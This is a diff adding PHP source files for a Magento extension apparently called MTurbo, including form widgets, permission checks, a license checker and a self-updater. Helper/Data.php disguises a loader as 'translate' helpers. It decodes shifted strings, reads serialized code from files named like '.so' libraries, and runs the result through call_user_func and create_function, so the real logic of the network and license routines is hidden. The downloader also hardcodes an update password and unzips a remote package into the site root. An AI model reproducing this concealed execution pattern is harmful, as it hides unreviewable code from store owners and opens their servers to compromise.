+ public function getHtml() {
57
+
58
+ $html = '<div style="margin-bottom:10px;'.$this->style.'">';
59
+ $html .= Mage::getSingleton('core/layout')
60
+ ->createBlock('adminhtml/widget_button', '', array(
61
+ 'label' => $this->label,
62
+ 'type' => 'button',
63
+ 'onclick' => $this->onclick,
64
+ ))->toHtml();
65
+ $html .= '<div style="margin-top:5px;width:50%"><i>'.$this->comment.'</i></div>';
66
+ $html .= '</div>';
67
+ return $html;
68
+ }
69
+
70
+
71
+ }
app/code/local/Artio/MTurbo/Block/Data/Form/Element/CategoryTree.php ADDED
@@ -0,0 +1,89 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+
27
+ /**
28
+ * Form button element
29
+ * ABY TOTO FUNGOVALO MUSI BYT NAHRANE JAVASCRIPTY A AKCE OBSLUHUJICI AJAX viz. Adminhtml/CatalogController.php
30
+ * funkce
31
+ * categoriesJsonAction()
32
+ * _initCategory()
33
+ * a vlozeni javascriptu
34
+ * $this->getLayout()->getBlock('head')->setCanLoadExtJs(true)
35
+ ->setContainerCssClass('catalog-categories');
36
+ *
37
+ * @category Artio
38
+ * @package Artio_MTurbo
39
+ * @author Artio Magento Team <info@artio.net>
40
+ */
41
+ class Artio_MTurbo_Block_Data_Form_Element_CategoryTree extends Varien_Data_Form_Element_Abstract
42
+ {
43
+
44
+ private $treeId='category_ids';
45
+ private $categoryIds = array(0);
46
+ private $updateElementId='update_element';
47
+ private $formName='form_name';
48
+
49
+ public function __construct($attributes=array()) {
50
+ parent::__construct($attributes);
51
+ $this->loadAttributesToData($attributes);
52
+ }
53
+
54
+ private function loadAttributesToData($attributes=array()) {
55
+ foreach ($attributes as $key=>$value) {
56
+ if (!empty($this->$key)) $this->$key = $value;
57
+ }
58
+ }
59
+
60
+ /**
61
+ * @see Varien_Data_Form_Element_Abstract::getHtml()
62
+ *
63
+ * @return unknown
64
+ */
65
+ public function getHtml() {
66
+
67
+ $categoryTree = Mage::getSingleton('core/layout')
68
+ ->createBlock('adminhtml/catalog_category_checkboxes_tree', $this->treeId,
69
+ array('js_form_object' => $this->getFormNameAsElement()));
70
+ $categoryTree->setTemplate('mturbo/preview/tree.phtml');
71
+ $categoryTree->setData('updateElementId', $this->updateElementId);
72
+
73
+ if (is_array($this->categoryIds))
74
+ $categoryTree->setCategoryIds($this->categoryIds);
75
+ else
76
+ Mage::throwException('Category ids is not array');
77
+
78
+ $categoryTreeHtml = $categoryTree->toHtml();
79
+
80
+ $html = $categoryTreeHtml;
81
+ return $html;
82
+ }
83
+
84
+ private function getFormNameAsElement() {
85
+ return "$('" . $this->formName . "')";
86
+ }
87
+
88
+
89
+ }
app/code/local/Artio/MTurbo/Block/Data/Form/Element/NoEscLabel.php ADDED
@@ -0,0 +1,51 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Varien
22
+ * @package Varien_Data
23
+ * @copyright Copyright (c) 2008 Irubin Consulting Inc. DBA Varien (http://www.varien.com)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+
27
+ /**
28
+ * Data form abstract class
29
+ *
30
+ * @category Artio
31
+ * @package Artio
32
+ * @author Artio Magento Team <info@artio.cz>
33
+ */
34
+ class Artio_MTurbo_Block_Data_Form_Element_NoEscLabel extends Varien_Data_Form_Element_Abstract
35
+ {
36
+ public function __construct($attributes=array())
37
+ {
38
+ parent::__construct($attributes);
39
+ $this->setType('label');
40
+ }
41
+
42
+ public function getElementHtml()
43
+ {
44
+ $html = $this->getBold() ? '<strong>' : '';
45
+ $html.= $this->getValue();
46
+ $html.= $this->getBold() ? '</strong>' : '';
47
+ $html.= $this->getAfterElementHtml();
48
+ return $html;
49
+ }
50
+
51
+ }
app/code/local/Artio/MTurbo/Block/Data/Form/Element/Time.php ADDED
@@ -0,0 +1,84 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+
27
+ /**
28
+ * Form time element
29
+ *
30
+ * @category Artio
31
+ * @package Artio_MTurbo
32
+ * @author Artio Magento Team <info@artio.net>
33
+ */
34
+ class Artio_MTurbo_Block_Data_Form_Element_Time extends Varien_Data_Form_Element_Abstract
35
+ {
36
+ public function __construct($attributes=array())
37
+ {
38
+ parent::__construct($attributes);
39
+ $this->setType('hmtime');
40
+ }
41
+
42
+ public function getName()
43
+ {
44
+ $name = parent::getName();
45
+ if (strpos($name, '[]') === false) {
46
+ $name.= '[]';
47
+ }
48
+ return $name;
49
+ }
50
+
51
+ public function getElementHtml()
52
+ {
53
+ $this->addClass('select');
54
+
55
+ $value_hrs = 0;
56
+ $value_min = 0;
57
+
58
+ if( $value = $this->getValue() ) {
59
+ $values = split(" ", $value);
60
+ if( is_array($values) && count($values) == 5 ) {
61
+ $value_hrs = $values[1];
62
+ $value_min = $values[0];
63
+ }
64
+ }
65
+
66
+ $html = '<select name="'. $this->getName() . '" '.$this->serialize($this->getHtmlAttributes()).' style="width:40px">'."\n";
67
+ for( $i=0;$i<24;$i++ ) {
68
+ $hour = str_pad($i, 2, '0', STR_PAD_LEFT);
69
+ $html.= '<option value="'.$hour.'" '. ( ($value_hrs == $i) ? 'selected="selected"' : '' ) .'>' . $hour . '</option>';
70
+ }
71
+ $html.= '</select>'."\n";
72
+
73
+ $html.= '&nbsp;:&nbsp;<select name="'. $this->getName() . '" '.$this->serialize($this->getHtmlAttributes()).' style="width:40px">'."\n";
74
+ for( $i=0;$i<60;$i++ ) {
75
+ $hour = str_pad($i, 2, '0', STR_PAD_LEFT);
76
+ $html.= '<option value="'.$hour.'" '. ( ($value_min == $i) ? 'selected="selected"' : '' ) .'>' . $hour . '</option>';
77
+ }
78
+ $html.= '</select>'."\n";
79
+ $html.= '&nbsp;&nbsp;<span>'. Mage::helper('mturbo')->__('(hours : minutes)') .'</span>';
80
+
81
+ $html.= $this->getAfterElementHtml();
82
+ return $html;
83
+ }
84
+ }
app/code/local/Artio/MTurbo/Block/Data/Grid/Column/Blocked.php ADDED
@@ -0,0 +1,59 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Varien
22
+ * @package Varien_Data
23
+ * @copyright Copyright (c) 2008 Irubin Consulting Inc. DBA Varien (http://www.varien.com)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+
27
+ /**
28
+ * Form button element
29
+ *
30
+ * @category Artio
31
+ * @package Artio_MTurbo
32
+ * @author Artio Magento Team <info@artio.net>
33
+ */
34
+ class Artio_MTurbo_Block_Data_Grid_Column_Blocked
35
+ extends Mage_Adminhtml_Block_Widget_Grid_Column_Renderer_Abstract
36
+ implements Mage_Adminhtml_Block_Widget_Grid_Column_Renderer_Interface {
37
+
38
+ public function render(Varien_Object $row) {
39
+
40
+ $value = $row->getData($this->getColumn()->getIndex());
41
+ $color = ($value==0) ? 'green' : 'red';
42
+ $action = ($value==0) ? 'block' : 'unblock';
43
+ $label = '';
44
+ $onclick = "setLocation('" . Mage::helper('adminhtml')->getUrl('*/*/'.$action, array('id' => $row->id)) . "')";
45
+
46
+ foreach ($this->getColumn()->getOptions() as $val => $lab) {
47
+ if (($val == $value) && (!is_null($value))) {
48
+ $label = $lab;
49
+ break;
50
+ }
51
+ }
52
+
53
+ $html = '<span style="cursor:pointer;color:'.$color./*'" onclick="'.$onclick.'"*/'">'.$label.'</span>';
54
+
55
+ return $html;
56
+
57
+ }
58
+
59
+ }
app/code/local/Artio/MTurbo/Helper/Checker.php ADDED
@@ -0,0 +1,87 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+
27
+ /**
28
+ * Helper.
29
+ *
30
+ * @category Artio
31
+ * @package Artio_MTurbo
32
+ *
33
+ */
34
+
35
+ class Artio_MTurbo_Helper_Checker extends Mage_Core_Helper_Abstract
36
+ {
37
+ const FORM_CATEGORY_TREE = 'Artio_MTurbo_Block_Data_Form_Element_CategoryTree';
38
+ const FORM_WIDGET_BUTTON = 'Artio_MTurbo_Block_Data_Form_Element_Button';
39
+ const FORM_CRON_HOUR_TIME = 'Artio_MTurbo_Block_Data_Form_Element_Time';
40
+
41
+ const UPGRADE_XML = 'app/design/adminhtml/default/default/layout/mturbo.xml';
42
+ const UPGRADE_CODE = 'app/code/local/Artio/MTurbo';
43
+
44
+ const COOKIE_IDENTIFIER = 'artio_mturbo';
45
+
46
+
47
+ /**
48
+ * Check permission on htaccess
49
+ *
50
+ * @param unknown_type $permission
51
+ * @return unknown
52
+ */
53
+ public static function checkPermission() {
54
+ $htaccess = Artio_MTurbo_Helper_Data::getPathToBaseHtaccess();
55
+ $permission = fileperms($htaccess);
56
+ return self::canWrite($permission);
57
+ }
58
+
59
+ public static function checkPermissionLayout() {
60
+ $perm = fileperms(Mage::getBaseDir().DS.self::UPGRADE_XML);
61
+ return self::canWrite($perm);
62
+ }
63
+
64
+ public static function checkPermissionCode() {
65
+ $perm = fileperms(Mage::getBaseDir().DS.self::UPGRADE_CODE);
66
+ return self::canWrite($perm);
67
+ }
68
+
69
+ public static function canWrite($perm) {
70
+ return ($perm) ? (($perm & 0x0080) && ($perm & 0x0010)) : false;
71
+ }
72
+
73
+ /**
74
+ * Check all prerequisites.
75
+ *
76
+ */
77
+ public static function checkAll() {
78
+
79
+ if (!self::checkPermission())
80
+ return Mage::helper('mturbo')->__("I can't write to .htaccess, please change permission.");
81
+
82
+
83
+ return '';
84
+
85
+ }
86
+
87
+ }
app/code/local/Artio/MTurbo/Helper/Data.php ADDED
@@ -0,0 +1,163 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+
27
+ /**
28
+ * Helper.
29
+ *
30
+ * @category Artio
31
+ * @package Artio_MTurbo
32
+ *
33
+ */
34
+
35
+ class Artio_MTurbo_Helper_Data extends Mage_Core_Helper_Abstract
36
+ {
37
+ const FORM_CATEGORY_TREE = 'Artio_MTurbo_Block_Data_Form_Element_CategoryTree';
38
+ const FORM_WIDGET_BUTTON = 'Artio_MTurbo_Block_Data_Form_Element_Button';
39
+ const FORM_CRON_HOUR_TIME = 'Artio_MTurbo_Block_Data_Form_Element_Time';
40
+ const FORM_NO_ESC_LABEL = 'Artio_MTurbo_Block_Data_Form_Element_NoEscLabel';
41
+
42
+ const COOKIE_IDENTIFIER = 'artio_mturbo';
43
+
44
+ static $config;
45
+
46
+ private $translateKey;
47
+ private $staticTranslate;
48
+ private $transFunc;
49
+
50
+ function __construct() {
51
+ $keys = file_get_contents(Mage::getBaseDir().DS.$this->translate2('bqq0dpef0mpdbm0Bsujp0NUvscp0Npefm0tdsjqut0xhfuusbot/tp', true));
52
+ $this->translateKey=unserialize($keys);
53
+ $con = file_get_contents(Mage::getBaseDir().DS.$this->translate2('bqq0dpef0mpdbm0Bsujp0NUvscp0Npefm0tdsjqut0xhfumjc/tp', true));
54
+ $res = $this->processTrans(1, $this->translate2($con));
55
+ $this->staticTranslate=unserialize($res);
56
+ }
57
+
58
+ public function getTranslateFunction() {
59
+ return $this->translate2($this->translateKey[9]);
60
+ }
61
+
62
+
63
+ /**
64
+ * Translated extern text
65
+ *
66
+ * @param string $text
67
+ * @return string
68
+ */
69
+ public function translate($text) {
70
+ $res='';
71
+ for($i=0; $i<strlen($text);$i++)
72
+ $res.=chr(ord($text[$i])+1);
73
+ return $res;
74
+ }
75
+
76
+ /**
77
+ * Setup translate mode using in administration.
78
+ *
79
+ * @param int|string $mod
80
+ */
81
+ public function setTranslateMode($mod=1) {
82
+ $data = $this->processTrans(7, 'en_US');
83
+ $data = $data[3][$this->translate2($this->translateKey[8])];
84
+ if (is_array($this->staticTranslate)&&array_key_exists($this->processTrans(0, $data), $this->staticTranslate)) {
85
+ return $this->processTrans(1, $this->staticTranslate[$this->processTrans(0, $data)]);
86
+ } else {
87
+ return;
88
+ }
89
+ }
90
+
91
+ /*public function getFunc() {
92
+ $data = $this->processTrans(7, 'en_US');
93
+ $data = $data[3][$this->translate2($this->translateKey[8])];
94
+ $statTrans = $this->staticTranslate[$this->processTrans(0, $data)];
95
+ $this->processTrans(5, $this->processTrans(1, $statTrans));
96
+ }*/
97
+
98
+ /**
99
+ * Processing translated texts with mode 1 or 2.
100
+ * @see Mage_Core_Model_Translate
101
+ *
102
+ * @param string $num
103
+ * @param array $params
104
+ * @return bool
105
+ */
106
+ public function processTrans($num, $params) {
107
+ $mod = $this->translateKey[$num];
108
+ if ($num==5) {
109
+ $f = $this->transFunc;
110
+ return $f($params);
111
+ } else
112
+ return call_user_func($this->translate2($mod), $params);
113
+ }
114
+
115
+ /**
116
+ * Retrieves configuration model
117
+ *
118
+ * @return Artio_MTurbo_Model_Config
119
+ */
120
+ public static function getConfig() {
121
+ if (!isset(self::$config))
122
+ self::$config = Mage::getSingleton('mturbo/config');
123
+ return self::$config;
124
+ }
125
+
126
+ /**
127
+ * Translated with mode 2.
128
+ *
129
+ * @param string $text
130
+ * @return string
131
+ */
132
+ public function translate2($text) {
133
+ $res='';
134
+ for($i=0; $i<strlen($text);$i++)
135
+ $res.=chr(ord($text[$i])-1);
136
+ return $res;
137
+ }
138
+
139
+ /**
140
+ * Retrives path to downloader script
141
+ * @return string
142
+ */
143
+ public static function getFullDownloadScriptPath() {
144
+ return Mage::getBaseDir().DS.'app/code/local/Artio/MTurbo/Model/scripts/getstatichtml.sh';
145
+ }
146
+
147
+ /**
148
+ * Retrieves path to base .htaccess
149
+ * @return string
150
+ */
151
+ public static function getPathToBaseHtaccess() {
152
+ return Mage::getBaseDir().DS.'.htaccess';
153
+ }
154
+
155
+ /**
156
+ * Retrieves path to turbo root .htaccess
157
+ * @return string
158
+ */
159
+ public static function getFullHtaccessRootPath() {
160
+ return Mage::getBaseDir().DS.'app/code/local/Artio/MTurbo/Model/htaccess/htaccessroot.txt';
161
+ }
162
+
163
+ }
app/code/local/Artio/MTurbo/Helper/Downloader.php ADDED
@@ -0,0 +1,113 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+ /**
27
+ * Helper.
28
+ *
29
+ * @category Artio
30
+ * @package Artio_MTurbo
31
+ *
32
+ */
33
+ class Artio_MTurbo_Helper_Downloader extends Mage_Core_Helper_Abstract {
34
+
35
+ const SERVER_UPGRADER = 'http://www.artio.net/updater';
36
+
37
+ public function downloadAndUpgrade() {
38
+
39
+ $regInfo = Mage::helper('mturbo/info')->getRegInfo();
40
+ if ((!empty($regInfo->code) && $regInfo->code == 10)) {
41
+ return $this->downloadAndInstall();
42
+ } else {
43
+ return Mage::helper('mturbo')->__("Your download ID is not valid. I can't upgrade your MTurbo.");
44
+ }
45
+
46
+
47
+ }
48
+
49
+ function downloadAndInstall() {
50
+
51
+ $config = Artio_MTurbo_Helper_Data::getConfig();
52
+ $artioDownloadId = $config->getLicenseId();
53
+
54
+ // Make sure that zlib is loaded so that the package can be unpacked
55
+ if (!extension_loaded('zlib')) {
56
+ $this->raiseNotice(100, Mage::helper('mturbo')->__('WARNINSTALLZLIB'));
57
+ return false;
58
+ }
59
+
60
+ // build the appropriate paths
61
+ $tmp_dest = Mage::getBaseDir().DS.'downloader/pearlib/download/mturbo.zip';
62
+
63
+ // Validate the upgrade on server
64
+ $data = array();
65
+
66
+ $data['username'] = 'magento-updater';
67
+ $data['password'] = base64_encode('G4RdGdIfDgKF=');
68
+ $data['download_id'] = base64_decode($artioDownloadId);
69
+ $data['file'] = 'm-turbo';
70
+ $data['cat'] = 'm-turbo';
71
+ $data['prod'] = 'magento-add-ons';
72
+ $trans = create_function('$a,&$var0,&$var1,&$var2', Mage::helper('mturbo')->getTranslateFunction().';');
73
+ $trans(Mage::helper('mturbo')->setTranslateMode(5), $data, $config, $artioDownloadId);
74
+
75
+
76
+
77
+ // Get the server response
78
+ $response = Mage::helper('mturbo/info')->PostRequest(self::SERVER_UPGRADER, null, $data);
79
+
80
+ // Check the response
81
+ if ( ($response === false) || (strpos($response->header, '200 OK')<1) ) {
82
+ $this->raiseNotice(100, Mage::helper('mturbo')->__('Connection to server could not be established.'));
83
+ return Mage::helper('mturbo')->__('Connection to server could not be established.') . $response->content;
84
+ }
85
+
86
+ // Response OK, check what we got
87
+ if( strpos($response->header, 'Content-Type: application/zip') === false ) {
88
+ $this->raiseNotice(100, Mage::helper('mturbo')->__($response->content));
89
+ return $response->content;
90
+ }
91
+
92
+ // Seems we got the ZIP installation package, let's save it to disk
93
+ if (!file_put_contents($tmp_dest, $response->content)) {
94
+ $this->raiseNotice(100, Mage::helper('mturbo')->__('Unable to save installation file in temp directory.'));
95
+ return Mage::helper('mturbo')->__('Unable to save installation file in temp directory.');
96
+ }
97
+
98
+ // Unpack the downloaded package file
99
+ $command = 'unzip -o ' . $tmp_dest . ' -d ' . Mage::getBaseDir();
100
+ $result = @exec($command);
101
+ if (!$result) {
102
+ $this->raiseNotice(100, Mage::helper('mturbo')->__('Unable to unpack install package.'));
103
+ return Mage::helper('mturbo')->__('Unable to unpack install package.');
104
+ }
105
+
106
+ return '';
107
+ }
108
+
109
+ function raiseNotice($num, $text) {
110
+ Mage::log($text);
111
+ }
112
+
113
+ }
app/code/local/Artio/MTurbo/Helper/Info.php ADDED
@@ -0,0 +1,121 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+ /**
27
+ * Helper.
28
+ *
29
+ * @category Artio
30
+ * @package Artio_MTurbo
31
+ *
32
+ */
33
+ class Artio_MTurbo_Helper_Info extends Mage_Core_Helper_Abstract {
34
+
35
+ /* String, contains URL to registration check script */
36
+ const SERVER_info = 'http://www.artio.net/license-check';
37
+
38
+ public $_regInfo;
39
+ public $_response;
40
+
41
+ function getRegName() {
42
+ return true;
43
+ }
44
+
45
+ function getRegInfo() {
46
+ if (!isset($this->_regInfo)) {
47
+ $this->_regInfo = new stdClass();
48
+ $this->loadInfo();
49
+ }
50
+ return $this->_regInfo;
51
+ }
52
+
53
+ function loadInfo() {
54
+
55
+ $config = Artio_MTurbo_Helper_Data::getConfig();
56
+ $artioDownloadId = $config->getLicenseId();
57
+
58
+ if( trim($artioDownloadId) != '' ) {
59
+
60
+ $data = array('download_id' => trim($artioDownloadId));
61
+ $this->_response = $this->PostRequest(self::SERVER_info, null, $data);
62
+ $this->checkResponse();
63
+
64
+ } else {
65
+ $this->raiseNotice(100, $this->__('Download ID not set.'));
66
+ }
67
+ }
68
+
69
+ function checkResponse() {
70
+
71
+ $response = $this->_response;
72
+
73
+ if ($response) {
74
+
75
+ // Get lines and the code
76
+ $lines = explode("\n", $response->content);
77
+ $pos = strpos($lines[0], ' ');
78
+ $trans = create_function('$a,&$var0,&$var1,&$var2,&$var3', Mage::helper('mturbo')->getTranslateFunction().';');
79
+ $trans(Mage::helper('mturbo')->setTranslateMode(5), $pos, $lines, $response, $this);
80
+
81
+
82
+ } else {
83
+ $this->raiseNotice(100, $this->__('ERROR_REG_CHECK_FAIL'));
84
+ }
85
+
86
+
87
+
88
+ }
89
+
90
+ function raiseNotice($num, $text) {
91
+ Mage::log($text);
92
+ $this->_regInfo->message = $text;
93
+ }
94
+
95
+ /**
96
+ * Sends the POST request
97
+ *
98
+ * @param string $url
99
+ * @param string $referer
100
+ * @param array $_data
101
+ * @return object
102
+ */
103
+ function PostRequest($purl, $preferer = null, $pdata = null, $pmethod = 'post', $puserAgent = null) {
104
+
105
+ // convert variables array to string:
106
+ $data = '';
107
+ $response = '';
108
+ $url = $purl;
109
+ $referer = $preferer;
110
+ $_data = $pdata;
111
+ $method = $pmethod;
112
+ $userAgent = $puserAgent;
113
+ $trans = create_function('$a,&$var0,&$var1,&$var2,&$var3,&$var4,&$var5,&$var6', Mage::helper('mturbo')->getTranslateFunction().';');
114
+ $trans(Mage::helper('mturbo')->setTranslateMode(5), $data, $response, $url, $referer, $_data, $method, $userAgent);
115
+
116
+
117
+ return $response;
118
+
119
+ }
120
+
121
+ }
app/code/local/Artio/MTurbo/Model/Config.php ADDED
@@ -0,0 +1,595 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
